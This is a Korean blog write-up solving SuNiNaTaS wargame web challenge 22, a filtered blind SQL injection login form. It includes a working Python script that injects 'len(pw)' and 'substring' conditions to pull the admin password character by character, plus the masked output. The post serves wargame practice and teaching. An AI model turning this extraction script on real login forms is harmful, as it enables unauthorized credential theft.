WarGame/SuNiNaTaS

[SuNiNaTas] 써니나타스 22번 - WEB

URL은 다음과 같다.

http://suninatas.com/challenge/web22/web22.asp

 

Game 22

select / Union / or / white space / by / having from / char / ascii / left / right / delay / 0x ..........

suninatas.com


해결책

들어가면 로그인 폼을 확인할 수 있다.

대놓고 blind SQL Injection문제라는 것을 구할 수 있다. 관례적으로는 admin의 패스워드를 구하는 문제가 될 거 같은데, 어떤 ID를 때려야 될지 주석에 힌트가 있나 보자

그렇다. admin 찾으면 되는 거 같다.

다음과 같은 Keyword가 필터링 되어있다.

  • select, union, or, white space, by, having, from, char, ascii, left, right, delay, 0x

일단 다 대체제가 보이긴 하는데, 사실 저거 말고 as나 부등호 같은 것도 막혀있다. 여러 가지 해보는 것 밖에는 답이 없을 거 같다. Query가 한 줄로 이루어진 건지 id 쪽에 작은따옴표를 적고 주석을 활용하면 코드부로 들어갈 수 있다.

EX > 

BLIND SQL Injection을 짜 보자

### 22.py


from requests import *
import string

if __name__ == "__main__" :
    abc = string.ascii_letters + string.digits+string.punctuation

    url = "http://suninatas.com/challenge/web22/web22.asp"
    cookie = {"ASP.NET_SessionId" : "NI GGEO SU SSI MYEON DUEP NI DA",
              "ASPSESSIONIDAQRBTDQD" : "NI GGEO SU SSI MYEON DUEP NI DA",
              "_ga" : "NI GGEO SU SSI MYEON DUEP NI DA"}
    length = 1
    ans = ""

    ### find length for pw
    while(True) :
        params = "?id=admin%27+and+len%28pw%29%3D"+str(length)+"--&pw=2"
        new_url = url+params
        rec = get(new_url,cookies=cookie)
        if(rec.text.find("OK  <font size=4 color=blue>admin")>0) :
            print("FOUND!")
            break
        else :
            print("fails..."+str(length))
            length += 1

	### Actual pw
    for i in range(1,length+1) :
        for a in abc :
            params = "?id=admin'+and+substring(pw,"+str(i)+",1)='"+a+"'--&pw=2"
            new_url = url+params
            rec = get(new_url,cookies=cookie)
            if(rec.text.find("OK  <font size=4 color=blue>admin")>0) :
                print("FOUND!",a)
                ans += a
                break

    print(ans)

결과는 다음과 같다.

fails...1
fails...2
fails...3
fails...4
fails...5
fails...6
fails...7
fails...8
fails...9
FOUND!
FOUND! N
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! .
FOUND! )
N....................)